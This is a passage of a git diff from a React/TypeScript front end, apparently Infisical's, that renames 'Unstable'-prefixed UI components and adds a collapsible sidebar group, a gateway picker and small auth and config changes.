 import { Lottie } from "@app/components/v2";
 
-export function UnstablePageLoader() {
+type PageLoaderProps = {
+  lottieClassName?: string;
+};
+
+export function PageLoader({ lottieClassName }: PageLoaderProps) {
   return (
     <div className="flex h-full w-full items-center justify-center">
-      <Lottie icon="infisical_loading" isAutoPlay className="w-24" />
+      <Lottie icon="infisical_loading" isAutoPlay className={twMerge("w-24", lottieClassName)} />
     </div>
   );
 }
diff --git a/frontend/src/components/v3/generic/Pagination/Pagination.tsx b/frontend/src/components/v3/generic/Pagination/Pagination.tsx
index 4bda9c4c31f..5b88a654b12 100644
--- a/frontend/src/components/v3/generic/Pagination/Pagination.tsx
+++ b/frontend/src/components/v3/generic/Pagination/Pagination.tsx
@@ -9,14 +9,14 @@ import {
 import { twMerge } from "tailwind-merge";
 
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuTrigger
 } from "../Dropdown";
-import { UnstableIconButton } from "../IconButton";
+import { IconButton } from "../IconButton";
 
-type UnstablePaginationProps = {
+type PaginationProps = {
   count: number;
   page: number;
   perPage?: number;
@@ -27,7 +27,7 @@ type UnstablePaginationProps = {
   startAdornment?: ReactElement;
 };
 
-const UnstablePagination = ({
+const Pagination = ({
   count,
   page = 1,
   perPage = 20,
@@ -36,7 +36,7 @@ const UnstablePagination = ({
   perPageList = [10, 20, 50, 100],
   className,
   startAdornment
-}: UnstablePaginationProps) => {
+}: PaginationProps) => {
   const prevPageNumber = Math.max(1, page - 1);
   const canGoPrev = page > 1;
 
@@ -53,15 +53,15 @@ const UnstablePagination = ({
         <div className="text-xs">
           {(page - 1) * perPage + 1} - {Math.min((page - 1) * perPage + perPage, count)} of {count}
         </div>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant="ghost" size="xs">
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant="ghost" size="xs">
               <ChevronDownIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
             {perPageList.map((perPageOption) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 checked={perPageOption === perPage}
                 key={`pagination-per-page-options-${perPageOption}`}
                 onClick={() => {
@@ -75,47 +75,47 @@ const UnstablePagination = ({
                 }}
               >
                 {perPageOption} rows per page
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       <div className="flex items-center space-x-2">
-        <UnstableIconButton
+        <IconButton
           variant="ghost"
           size="xs"
           onClick={() => onChangePage(1)}
           isDisabled={!canGoFirst}
         >
           <ChevronFirstIcon />
-        </UnstableIconButton>
-        <UnstableIconButton
+        </IconButton>
+        <IconButton
           variant="ghost"
           size="xs"
           onClick={() => onChangePage(prevPageNumber)}
           isDisabled={!canGoPrev}
         >
           <ChevronLeftIcon />
-        </UnstableIconButton>
-        <UnstableIconButton
+        </IconButton>
+        <IconButton
           variant="ghost"
           size="xs"
           onClick={() => onChangePage(nextPageNumber)}
           isDisabled={!canGoNext}
         >
           <ChevronRightIcon />
-        </UnstableIconButton>
-        <UnstableIconButton
+        </IconButton>
+        <IconButton
           variant="ghost"
           size="xs"
           onClick={() => onChangePage(upperLimit)}
           isDisabled={!canGoLast}
         >
           <ChevronLastIcon />
-        </UnstableIconButton>
+        </IconButton>
       </div>
     </div>
   );
 };
 
-export { UnstablePagination, type UnstablePaginationProps };
+export { Pagination, type PaginationProps };
diff --git a/frontend/src/components/v3/generic/PasswordGenerator/PasswordGenerator.tsx b/frontend/src/components/v3/generic/PasswordGenerator/PasswordGenerator.tsx
index 7fae7d01ca8..755705ab148 100644
--- a/frontend/src/components/v3/generic/PasswordGenerator/PasswordGenerator.tsx
+++ b/frontend/src/components/v3/generic/PasswordGenerator/PasswordGenerator.tsx
@@ -10,6 +10,7 @@ import {
 } from "lucide-react";
 import picomatch from "picomatch";
 import RandExp from "randexp";
+import { twMerge } from "tailwind-merge";
 
 import { useTimedReset } from "@app/hooks";
 import {
@@ -23,7 +24,7 @@ import {
 import { Badge } from "../Badge";
 import { Button } from "../Button";
 import { Checkbox } from "../Checkbox";
-import { UnstableIconButton } from "../IconButton";
+import { IconButton } from "../IconButton";
 import { Label } from "../Label";
 import { Popover, PopoverContent, PopoverTrigger } from "../Popover";
 import { FilterableSelect } from "../ReactSelect";
@@ -126,7 +127,8 @@ const CONSTRAINT_LABELS: Record<ConstraintType, string> = {
   [ConstraintType.RequiredSuffix]: "Suffix",
   [ConstraintType.RegexPattern]: "Pattern",
   [ConstraintType.MinLength]: "Min length",
-  [ConstraintType.MaxLength]: "Max length"
+  [ConstraintType.MaxLength]: "Max length",
+  [ConstraintType.PreventValueReuse]: "Prevent reuse of previous values"
 };
 
 const RuleOptionComponent = ({ isSelected, children, ...props }: OptionProps<RuleOption>) => (
@@ -306,9 +308,9 @@ export const PasswordGenerator = ({
   return (
     <Popover open={isOpen} onOpenChange={setIsOpen}>
       <PopoverTrigger asChild>
-        <UnstableIconButton variant="outline" size="md" isDisabled={isDisabled}>
+        <IconButton variant="outline" size="md" isDisabled={isDisabled}>
           <KeyRoundIcon />
-        </UnstableIconButton>
+        </IconButton>
       </PopoverTrigger>
       <PopoverContent className="w-[30rem]" align="end">
         <div className="flex flex-col gap-4">
@@ -343,16 +345,12 @@ export const PasswordGenerator = ({
             <div className="flex items-center justify-between gap-2">
               <p className="flex-1 font-mono text-sm break-all select-all">{password}</p>
               <div className="flex shrink-0 gap-1">
-                <UnstableIconButton
-                  variant="ghost"
-                  size="xs"
-                  onClick={() => setRefresh((prev) => !prev)}
-                >
+                <IconButton variant="ghost" size="xs" onClick={() => setRefresh((prev) => !prev)}>
                   <RefreshCwIcon />
-                </UnstableIconButton>
-                <UnstableIconButton variant="ghost" size="xs" onClick={copyToClipboard}>
+                </IconButton>
+                <IconButton variant="ghost" size="xs" onClick={copyToClipboard}>
                   {isCopying ? <CheckIcon /> : <CopyIcon />}
-                </UnstableIconButton>
+                </IconButton>
               </div>
             </div>
           </div>
@@ -378,10 +376,19 @@ export const PasswordGenerator = ({
               <div className="flex flex-wrap gap-x-4 gap-y-1">
                 {valueConstraints.map((constraint) => (
                   <span key={constraint.type} className="text-xs">
-                    <span className="font-medium text-muted">
-                      {CONSTRAINT_LABELS[constraint.type]}:
-                    </span>{" "}
-                    <span className="font-mono text-label">{constraint.value}</span>
+                    <span
+                      className={twMerge(
+                        "font-medium text-muted",
+                        constraint.type === ConstraintType.PreventValueReuse && "text-label"
+                      )}
+                    >
+                      {CONSTRAINT_LABELS[constraint.type]}
+                    </span>
+                    {constraint.type !== ConstraintType.PreventValueReuse && (
+                      <>
+                        : <span className="font-mono text-label">{constraint.value}</span>
+                      </>
+                    )}
                   </span>
                 ))}
               </div>
diff --git a/frontend/src/components/v3/generic/Popover/Popover.tsx b/frontend/src/components/v3/generic/Popover/Popover.tsx
index 91ed8d812db..467f282562e 100644
--- a/frontend/src/components/v3/generic/Popover/Popover.tsx
+++ b/frontend/src/components/v3/generic/Popover/Popover.tsx
@@ -9,9 +9,13 @@ function Popover({ ...props }: React.ComponentProps<typeof PopoverPrimitive.Root
   return <PopoverPrimitive.Root data-slot="popover" {...props} />;
 }
 
-function PopoverTrigger({ ...props }: React.ComponentProps<typeof PopoverPrimitive.Trigger>) {
-  return <PopoverPrimitive.Trigger data-slot="popover-trigger" {...props} />;
-}
+const PopoverTrigger = React.forwardRef<
+  React.ElementRef<typeof PopoverPrimitive.Trigger>,
+  React.ComponentProps<typeof PopoverPrimitive.Trigger>
+>(({ ...props }, ref) => (
+  <PopoverPrimitive.Trigger ref={ref} data-slot="popover-trigger" {...props} />
+));
+PopoverTrigger.displayName = "PopoverTrigger";
 
 function PopoverContent({
   className,
diff --git a/frontend/src/components/v3/generic/Separator/Separator.tsx b/frontend/src/components/v3/generic/Separator/Separator.tsx
index 0ebfe674596..c25955d90ec 100644
--- a/frontend/src/components/v3/generic/Separator/Separator.tsx
+++ b/frontend/src/components/v3/generic/Separator/Separator.tsx
@@ -5,7 +5,7 @@ import * as SeparatorPrimitive from "@radix-ui/react-separator";
 
 import { cn } from "../../utils";
 
-function UnstableSeparator({
+function Separator({
   className,
   orientation = "horizontal",
   decorative = true,
@@ -25,4 +25,4 @@ function UnstableSeparator({
   );
 }
 
-export { UnstableSeparator };
+export { Separator };
diff --git a/frontend/src/components/v3/generic/Sidebar/Sidebar.tsx b/frontend/src/components/v3/generic/Sidebar/Sidebar.tsx
index d75c098d2a5..9108b052f43 100644
--- a/frontend/src/components/v3/generic/Sidebar/Sidebar.tsx
+++ b/frontend/src/components/v3/generic/Sidebar/Sidebar.tsx
@@ -3,12 +3,12 @@
 import * as React from "react";
 import { Slot } from "@radix-ui/react-slot";
 import { cva, type VariantProps } from "cva";
-import { PanelLeftIcon } from "lucide-react";
+import { ChevronDown, PanelLeftIcon } from "lucide-react";
 
 import { cn } from "../../utils";
-import { UnstableIconButton } from "../IconButton";
-import { UnstableInput as Input } from "../Input";
-import { UnstableSeparator as Separator } from "../Separator";
+import { IconButton } from "../IconButton";
+import { Input } from "../Input";
+import { Separator } from "../Separator";
 import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from "../Sheet";
 import { Skeleton } from "../Skeleton";
 import { Tooltip, TooltipContent, TooltipTrigger } from "../Tooltip";
@@ -324,15 +324,11 @@ function Sidebar({
   );
 }
 
-function SidebarTrigger({
-  className,
-  onClick,
-  ...props
-}: React.ComponentProps<typeof UnstableIconButton>) {
+function SidebarTrigger({ className, onClick, ...props }: React.ComponentProps<typeof IconButton>) {
   const { toggleSidebar } = useSidebar();
 
   return (
-    <UnstableIconButton
+    <IconButton
       data-sidebar="trigger"
       data-slot="sidebar-trigger"
       size="sm"
@@ -345,7 +341,7 @@ function SidebarTrigger({
     >
       <PanelLeftIcon className="cn-rtl-flip" />
       <span className="sr-only">Toggle Sidebar</span>
-    </UnstableIconButton>
+    </IconButton>
   );
 }
 
@@ -508,6 +504,94 @@ function SidebarGroupContent({ className, ...props }: React.ComponentProps<"div"
   );
 }
 
+function SidebarCollapsibleGroup({
+  label,
+  collapsedLabel,
+  defaultOpen = true,
+  children,
+  className
+}: {
+  label: string;
+  /** Short label shown when the sidebar is collapsed. Defaults to initials of the label. */
+  collapsedLabel?: string;
+  defaultOpen?: boolean;
+  children: React.ReactNode;
+  className?: string;
+}) {
+  const [isOpen, setIsOpen] = React.useState(defaultOpen);
+  const { state, isMobile } = useSidebar();
+  const isCollapsed = state === "collapsed" && !isMobile;
+  const contentRef = React.useRef<HTMLDivElement>(null);
+  const previousHasActiveChildRef = React.useRef<boolean | undefined>(undefined);
+
+  React.useEffect(() => {
+    if (isCollapsed) return;
+    const hasActiveChild = !!contentRef.current?.querySelector('[data-active="true"]');
+    const previous = previousHasActiveChildRef.current;
+    if (hasActiveChild && previous !== true && !isOpen) {
+      setIsOpen(true);
+    }
+    previousHasActiveChildRef.current = hasActiveChild;
+  });
+
+  const abbreviation =
+    collapsedLabel ||
+    label
+      .split(" ")
+      .map((w) => w[0])
+      .join("");
+
+  return (
+    <SidebarGroup className={cn(isCollapsed ? "mt-1" : "mt-3", className)}>
+      {isCollapsed ? (
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <div className="flex items-center justify-center py-1">
+              <span
+                className={cn(
+                  "flex h-6 min-w-2 items-center justify-center rounded-md px-1 text-[0.65rem] font-bold text-muted/60 uppercase"
+                )}
+              >
+                {abbreviation}
+              </span>
+            </div>
+          </TooltipTrigger>
+          <TooltipContent side="right" align="center">
+            {label}
+          </TooltipContent>
+        </Tooltip>
+      ) : (
+        <button
+          type="button"
+          aria-expanded={isOpen}
+          onClick={() => setIsOpen((prev) => !prev)}
+          className="flex h-7 shrink-0 cursor-pointer items-center gap-1 px-4 text-[0.65rem] font-semibold tracking-wide text-muted/60 outline-hidden transition-colors select-none hover:text-muted focus-visible:ring-2 focus-visible:ring-sidebar-ring"
+        >
+          <span className="truncate uppercase">{label}</span>
+          <ChevronDown
+            className={cn(
+              "size-3 shrink-0 transition-transform duration-200",
+              !isOpen && "-rotate-90"
+            )}
+          />
+        </button>
+      )}
+      <div
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        {...(!isCollapsed && !isOpen ? { inert: "" as any } : {})}
+        className={cn(
+          "grid transition-[grid-template-rows,opacity] duration-200 ease-in-out",
+          isCollapsed || isOpen ? "grid-rows-[1fr] opacity-100" : "grid-rows-[0fr] opacity-0"
+        )}
+      >
+        <div ref={contentRef} className="overflow-hidden">
+          {children}
+        </div>
+      </div>
+    </SidebarGroup>
+  );
+}
+
 function SidebarMenu({ className, ...props }: React.ComponentProps<"ul">) {
   return (
     <ul
@@ -741,6 +825,7 @@ function SidebarMenuSubButton({
 
 export {
   Sidebar,
+  SidebarCollapsibleGroup,
   SidebarContent,
   SidebarFooter,
   SidebarGroup,
diff --git a/frontend/src/components/v3/generic/Table/Table.stories.tsx b/frontend/src/components/v3/generic/Table/Table.stories.tsx
index 09098795bff..227b2dbd389 100644
--- a/frontend/src/components/v3/generic/Table/Table.stories.tsx
+++ b/frontend/src/components/v3/generic/Table/Table.stories.tsx
@@ -3,22 +3,15 @@ import { CopyIcon, EditIcon, MoreHorizontalIcon, TrashIcon } from "lucide-react"
 
 import {
   Badge,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton
 } from "@app/components/v3/generic";
 import { ProjectIcon } from "@app/components/v3/platform";
 
-import {
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
-} from "./Table";
+import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "./Table";
 
 const identities: {
   name: string;
@@ -43,7 +36,7 @@ const identities: {
   },
   {
     name: "machine-three",
-    role: "Developer"
+    role: "Member"
   },
   {
     name: "machine-four",
@@ -63,59 +56,59 @@ const identities: {
   },
   {
     name: "machine-six",
-    role: "Developer"
+    role: "Member"
   }
 ];
 
 function TableDemo() {
   return (
-    <UnstableTable className="w-[800px]">
-      <UnstableTableHeader>
-        <UnstableTableRow>
-          <UnstableTableHead className="w-1/3">Name</UnstableTableHead>
-          <UnstableTableHead className="w-1/3">Role</UnstableTableHead>
-          <UnstableTableHead className="w-1/3">Managed By</UnstableTableHead>
-          <UnstableTableHead className="text-right" />
-        </UnstableTableRow>
-      </UnstableTableHeader>
-      <UnstableTableBody>
+    <Table className="w-[800px]">
+      <TableHeader>
+        <TableRow>
+          <TableHead className="w-1/3">Name</TableHead>
+          <TableHead className="w-1/3">Role</TableHead>
+          <TableHead className="w-1/3">Managed By</TableHead>
+          <TableHead className="text-right" />
+        </TableRow>
+      </TableHeader>
+      <TableBody>
         {identities.map((identity) => (
-          <UnstableTableRow key={identity.name}>
-            <UnstableTableCell className="font-medium">{identity.name}</UnstableTableCell>
-            <UnstableTableCell>{identity.role}</UnstableTableCell>
-            <UnstableTableCell>
+          <TableRow key={identity.name}>
+            <TableCell className="font-medium">{identity.name}</TableCell>
+            <TableCell>{identity.role}</TableCell>
+            <TableCell>
               <Badge variant="project">
                 <ProjectIcon />
                 Project
               </Badge>
-            </UnstableTableCell>
-            <UnstableTableCell className="text-right">
-              <UnstableDropdownMenu>
-                <UnstableDropdownMenuTrigger asChild>
-                  <UnstableIconButton variant="ghost" size="xs">
+            </TableCell>
+            <TableCell className="text-right">
+              <DropdownMenu>
+                <DropdownMenuTrigger asChild>
+                  <IconButton variant="ghost" size="xs">
                     <MoreHorizontalIcon />
-                  </UnstableIconButton>
-                </UnstableDropdownMenuTrigger>
-                <UnstableDropdownMenuContent align="end" className="w-36">
-                  <UnstableDropdownMenuItem>
+                  </IconButton>
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end" className="w-36">
+                  <DropdownMenuItem>
                     <CopyIcon />
                     Copy ID
-                  </UnstableDropdownMenuItem>
-                  <UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
+                  <DropdownMenuItem>
                     <EditIcon />
                     Edit Identity
-                  </UnstableDropdownMenuItem>
-                  <UnstableDropdownMenuItem variant="danger">
+                  </DropdownMenuItem>
+                  <DropdownMenuItem variant="danger">
                     <TrashIcon />
                     Delete Identity
-                  </UnstableDropdownMenuItem>
-                </UnstableDropdownMenuContent>
-              </UnstableDropdownMenu>
-            </UnstableTableCell>
-          </UnstableTableRow>
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
+            </TableCell>
+          </TableRow>
         ))}
-      </UnstableTableBody>
-    </UnstableTable>
+      </TableBody>
+    </Table>
   );
 }
 
diff --git a/frontend/src/components/v3/generic/Table/Table.tsx b/frontend/src/components/v3/generic/Table/Table.tsx
index 370344fd5ce..f4e34b63825 100644
--- a/frontend/src/components/v3/generic/Table/Table.tsx
+++ b/frontend/src/components/v3/generic/Table/Table.tsx
@@ -4,7 +4,7 @@ import * as React from "react";
 
 import { cn } from "@app/components/v3/utils";
 
-const UnstableTable = React.forwardRef<
+const Table = React.forwardRef<
   HTMLDivElement,
   React.ComponentProps<"table"> & { containerClassName?: string }
 >(({ className, containerClassName, ...props }, ref) => {
@@ -26,9 +26,9 @@ const UnstableTable = React.forwardRef<
   );
 });
 
-UnstableTable.displayName = "UnstableTable";
+Table.displayName = "Table";
 
-function UnstableTableHeader({ className, ...props }: React.ComponentProps<"thead">) {
+function TableHeader({ className, ...props }: React.ComponentProps<"thead">) {
   return (
     <thead
       data-slot="table-header"
@@ -38,7 +38,7 @@ function UnstableTableHeader({ className, ...props }: React.ComponentProps<"thea
   );
 }
 
-function UnstableTableBody({ className, ...props }: React.ComponentProps<"tbody">) {
+function TableBody({ className, ...props }: React.ComponentProps<"tbody">) {
   return (
     <tbody
       data-slot="table-body"
@@ -48,7 +48,7 @@ function UnstableTableBody({ className, ...props }: React.ComponentProps<"tbody"
   );
 }
 
-function UnstableTableFooter({ className, ...props }: React.ComponentProps<"tfoot">) {
+function TableFooter({ className, ...props }: React.ComponentProps<"tfoot">) {
   return (
     <tfoot
       data-slot="table-footer"
@@ -58,7 +58,7 @@ function UnstableTableFooter({ className, ...props }: React.ComponentProps<"tfoo
   );
 }
 
-const UnstableTableRow = React.forwardRef<HTMLTableRowElement, React.ComponentProps<"tr">>(
+const TableRow = React.forwardRef<HTMLTableRowElement, React.ComponentProps<"tr">>(
   ({ className, ...props }, ref) => {
     return (
       <tr
@@ -75,9 +75,9 @@ const UnstableTableRow = React.forwardRef<HTMLTableRowElement, React.ComponentPr
   }
 );
 
-UnstableTableRow.displayName = "UnstableTableRow";
+TableRow.displayName = "TableRow";
 
-function UnstableTableHead({
+function TableHead({
   className,
   isTruncatable,
   ...props
@@ -96,7 +96,7 @@ function UnstableTableHead({
   );
 }
 
-function UnstableTableCell({
+function TableCell({
   className,
   isTruncatable,
   ...props
@@ -114,7 +114,7 @@ function UnstableTableCell({
   );
 }
 
-function UnstableTableCaption({ className, ...props }: React.ComponentProps<"caption">) {
+function TableCaption({ className, ...props }: React.ComponentProps<"caption">) {
   return (
     <caption
       data-slot="table-caption"
@@ -124,13 +124,4 @@ function UnstableTableCaption({ className, ...props }: React.ComponentProps<"cap
   );
 }
 
-export {
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCaption,
-  UnstableTableCell,
-  UnstableTableFooter,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
-};
+export { Table, TableBody, TableCaption, TableCell, TableFooter, TableHead, TableHeader, TableRow };
diff --git a/frontend/src/components/v3/generic/TextArea/TextArea.tsx b/frontend/src/components/v3/generic/TextArea/TextArea.tsx
index 576b815780c..53dbbe5348c 100644
--- a/frontend/src/components/v3/generic/TextArea/TextArea.tsx
+++ b/frontend/src/components/v3/generic/TextArea/TextArea.tsx
@@ -10,7 +10,7 @@ const TextArea = React.forwardRef<HTMLTextAreaElement, React.ComponentProps<"tex
         ref={ref}
         data-slot="textarea"
         className={cn(
-          "placeholder:text-muted-foreground aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive flex field-sizing-content min-h-16 thin-scrollbar w-full rounded-md border border-border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm",
+          "placeholder:text-muted-foreground aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive flex min-h-16 thin-scrollbar w-full rounded-md border border-border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm",
           className
         )}
         {...props}
diff --git a/frontend/src/components/v3/generic/index.ts b/frontend/src/components/v3/generic/index.ts
index 180111b3836..6c05854490a 100644
--- a/frontend/src/components/v3/generic/index.ts
+++ b/frontend/src/components/v3/generic/index.ts
@@ -8,8 +8,10 @@ export * from "./ButtonGroup";
 export * from "./Calendar";
 export * from "./Card";
 export * from "./Checkbox";
+export * from "./ColorPicker";
 export * from "./Command";
 export * from "./DataGrid";
+export * from "./DateRangeFilter";
 export * from "./Detail";
 export * from "./Dialog";
 export * from "./Dropdown";
diff --git a/frontend/src/components/v3/platform/GatewayPicker/GatewayPicker.tsx b/frontend/src/components/v3/platform/GatewayPicker/GatewayPicker.tsx
new file mode 100644
index 00000000000..b54ee7c4ec0
--- /dev/null
+++ b/frontend/src/components/v3/platform/GatewayPicker/GatewayPicker.tsx
@@ -0,0 +1,145 @@
+import { faGlobe, faLayerGroup, faServer } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useQuery } from "@tanstack/react-query";
+
+import { Select, SelectItem, Tooltip } from "@app/components/v2";
+import { useSubscription } from "@app/context";
+import { gatewayPoolsQueryKeys } from "@app/hooks/api/gateway-pools/queries";
+import { gatewaysQueryKeys } from "@app/hooks/api/gateways/queries";
+import { GatewayHealthCheckStatus } from "@app/hooks/api/gateways-v2/types";
+import { PoolHealthBadge } from "@app/pages/organization/NetworkingPage/components/GatewayTab/components/PoolHealthBadge";
+
+type GatewayPickerValue = {
+  gatewayId: string | null;
+  gatewayPoolId: string | null;
+};
+
+type Props = {
+  value: GatewayPickerValue;
+  onChange: (value: GatewayPickerValue) => void;
+  isDisabled?: boolean;
+  className?: string;
+};
+
+const SectionLabel = ({ children }: { children: React.ReactNode }) => (
+  <div className="px-2 pt-2 pb-1 text-xs text-mineshaft-400">{children}</div>
+);
+
+const SectionDivider = () => <div className="my-1 h-px bg-mineshaft-600" />;
+
+export const GatewayPicker = ({ value, onChange, isDisabled, className }: Props) => {
+  const { subscription } = useSubscription();
+  const showPools = subscription?.gatewayPool;
+
+  const { data: gateways, isPending: isGatewaysLoading } = useQuery(gatewaysQueryKeys.list());
+  const { data: pools, isPending: isPoolsLoading } = useQuery({
+    ...gatewayPoolsQueryKeys.list(),
+    enabled: Boolean(showPools)
+  });
+
+  const isLoading = isGatewaysLoading || (showPools && isPoolsLoading);
+
+  let selectValue = "internet";
+  if (value.gatewayPoolId) {
+    selectValue = `pool:${value.gatewayPoolId}`;
+  } else if (value.gatewayId) {
+    selectValue = `gateway:${value.gatewayId}`;
+  }
+
+  const handleChange = (v: string) => {
+    if (v === "internet") {
+      onChange({ gatewayId: null, gatewayPoolId: null });
+    } else if (v.startsWith("pool:")) {
+      onChange({ gatewayId: null, gatewayPoolId: v.replace("pool:", "") });
+    } else if (v.startsWith("gateway:")) {
+      onChange({ gatewayId: v.replace("gateway:", ""), gatewayPoolId: null });
+    }
+  };
+
+  const v2Gateways = gateways?.filter((g) => !g.isV1) ?? [];
+
+  const isOnline = (gw: (typeof v2Gateways)[number]) =>
+    "heartbeat" in gw &&
+    gw.heartbeat &&
+    new Date(gw.heartbeat).getTime() > Date.now() - 60 * 60 * 1000 &&
+    (!("lastHealthCheckStatus" in gw) ||
+      gw.lastHealthCheckStatus !== GatewayHealthCheckStatus.Failed);
+
+  return (
+    <Select
+      value={selectValue}
+      onValueChange={handleChange}
+      isDisabled={isDisabled}
+      isLoading={Boolean(isLoading)}
+      className={className}
+      dropdownContainerClassName="max-w-none"
+      position="popper"
+      side="bottom"
+    >
+      <SelectItem value="internet">
+        <div className="flex items-center gap-2">
+          <FontAwesomeIcon icon={faGlobe} className="size-3.5 text-mineshaft-400" />
+          Internet Gateway
+        </div>
+      </SelectItem>
+
+      {showPools && pools && pools.length > 0 && (
+        <>
+          <SectionDivider />
+          <SectionLabel>
+            <div className="flex items-center justify-between">
+              <div className="flex items-center gap-2">
+                <FontAwesomeIcon icon={faLayerGroup} className="size-3" />
+                Gateway Pools
+              </div>
+              <Tooltip content="High Availability" className="z-[110]">
+                <span className="cursor-default rounded bg-primary/20 px-1.5 py-0.5 text-[10px] font-semibold text-primary">
+                  HA
+                </span>
+              </Tooltip>
+            </div>
+          </SectionLabel>
+          {pools.map((pool) => (
+            <SelectItem value={`pool:${pool.id}`} key={`pool-${pool.id}`}>
+              <div className="flex min-w-0 items-center gap-2">
+                <FontAwesomeIcon
+                  icon={faLayerGroup}
+                  className="size-3.5 shrink-0 text-mineshaft-400"
+                />
+                <span className="truncate">{pool.name}</span>
+                <span className="shrink-0 text-xs">
+                  <PoolHealthBadge pool={pool} />
+                </span>
+              </div>
+            </SelectItem>
+          ))}
+        </>
+      )}
+
+      {v2Gateways.length > 0 && (
+        <>
+          <SectionDivider />
+          <SectionLabel>
+            <div className="flex items-center gap-2">
+              <FontAwesomeIcon icon={faServer} className="size-3" />
+              Individual Gateways
+            </div>
+          </SectionLabel>
+          {v2Gateways.map((gw) => (
+            <SelectItem value={`gateway:${gw.id}`} key={`gw-${gw.id}`}>
+              <div className="flex min-w-0 items-center gap-2">
+                <FontAwesomeIcon icon={faServer} className="size-3.5 shrink-0 text-mineshaft-400" />
+                <span className="truncate">{gw.name}</span>
+                <span
+                  className={`shrink-0 text-xs ${isOnline(gw) ? "text-green-500" : "text-red-400"}`}
+                >
+                  {isOnline(gw) ? "Online" : "Offline"}
+                </span>
+              </div>
+            </SelectItem>
+          ))}
+        </>
+      )}
+    </Select>
+  );
+};
diff --git a/frontend/src/components/v3/platform/GatewayPicker/index.ts b/frontend/src/components/v3/platform/GatewayPicker/index.ts
new file mode 100644
index 00000000000..0bb0a7844d6
--- /dev/null
+++ b/frontend/src/components/v3/platform/GatewayPicker/index.ts
@@ -0,0 +1 @@
+export { GatewayPicker } from "./GatewayPicker";
diff --git a/frontend/src/components/v3/platform/index.ts b/frontend/src/components/v3/platform/index.ts
index ab583961838..3866b25f22f 100644
--- a/frontend/src/components/v3/platform/index.ts
+++ b/frontend/src/components/v3/platform/index.ts
@@ -1,2 +1,3 @@
 export * from "./DocumentationLinkBadge";
+export * from "./GatewayPicker";
 export * from "./ScopeIcons";
diff --git a/frontend/src/config/env.ts b/frontend/src/config/env.ts
index 63446c95f92..1841905872b 100644
--- a/frontend/src/config/env.ts
+++ b/frontend/src/config/env.ts
@@ -28,6 +28,9 @@ export const envConfig = {
   },
 
   get PLATFORM_VERSION() {
-    return import.meta.env.VITE_INFISICAL_PLATFORM_VERSION;
+    // Release tags (e.g. "v0.159.15") are passed through as INFISICAL_PLATFORM_VERSION
+    // by the release workflow. Strip any leading "v" so consumers can prefix it
+    // themselves without producing "vv0.159.15".
+    return import.meta.env.VITE_INFISICAL_PLATFORM_VERSION?.replace(/^v/i, "");
   }
 };
diff --git a/frontend/src/config/request.ts b/frontend/src/config/request.ts
index 51ff948bb61..eddb50588c2 100644
--- a/frontend/src/config/request.ts
+++ b/frontend/src/config/request.ts
@@ -26,7 +26,6 @@ apiRequest.interceptors.request.use((config) => {
   const signupTempToken = getSignupTempToken();
   const mfaTempToken = getMfaTempToken();
   const token = getAuthToken();
-  const providerAuthToken = SecurityClient.getProviderAuthToken();
 
   if (config.headers) {
     if (mfaTempToken) {
@@ -38,9 +37,6 @@ apiRequest.interceptors.request.use((config) => {
     } else if (signupTempToken) {
       // eslint-disable-next-line no-param-reassign
       config.headers.Authorization = `Bearer ${signupTempToken}`;
-    } else if (providerAuthToken) {
-      // eslint-disable-next-line no-param-reassign
-      config.headers.Authorization = `Bearer ${providerAuthToken}`;
     }
   }
 
diff --git a/frontend/src/const.ts b/frontend/src/const.ts
index 806755f3807..6c81ef12fc7 100644
--- a/frontend/src/const.ts
+++ b/frontend/src/const.ts
@@ -20,8 +20,7 @@ export const publicPaths = [
   "/verify-email",
   "/password-reset",
   "/saml-sso",
-  "/login/provider/success", // TODO: change
-  "/login/provider/error", // TODO: change
+  "/login/provider/error",
   "/login/sso",
   "/admin/signup",
   "/shared/secret/[id]",
diff --git a/frontend/src/const/routes.ts b/frontend/src/const/routes.ts
index 97934d127e2..425cbb7bb32 100644
--- a/frontend/src/const/routes.ts
+++ b/frontend/src/const/routes.ts
@@ -11,10 +11,6 @@ export const ROUTE_PATHS = Object.freeze({
       "/login/select-organization",
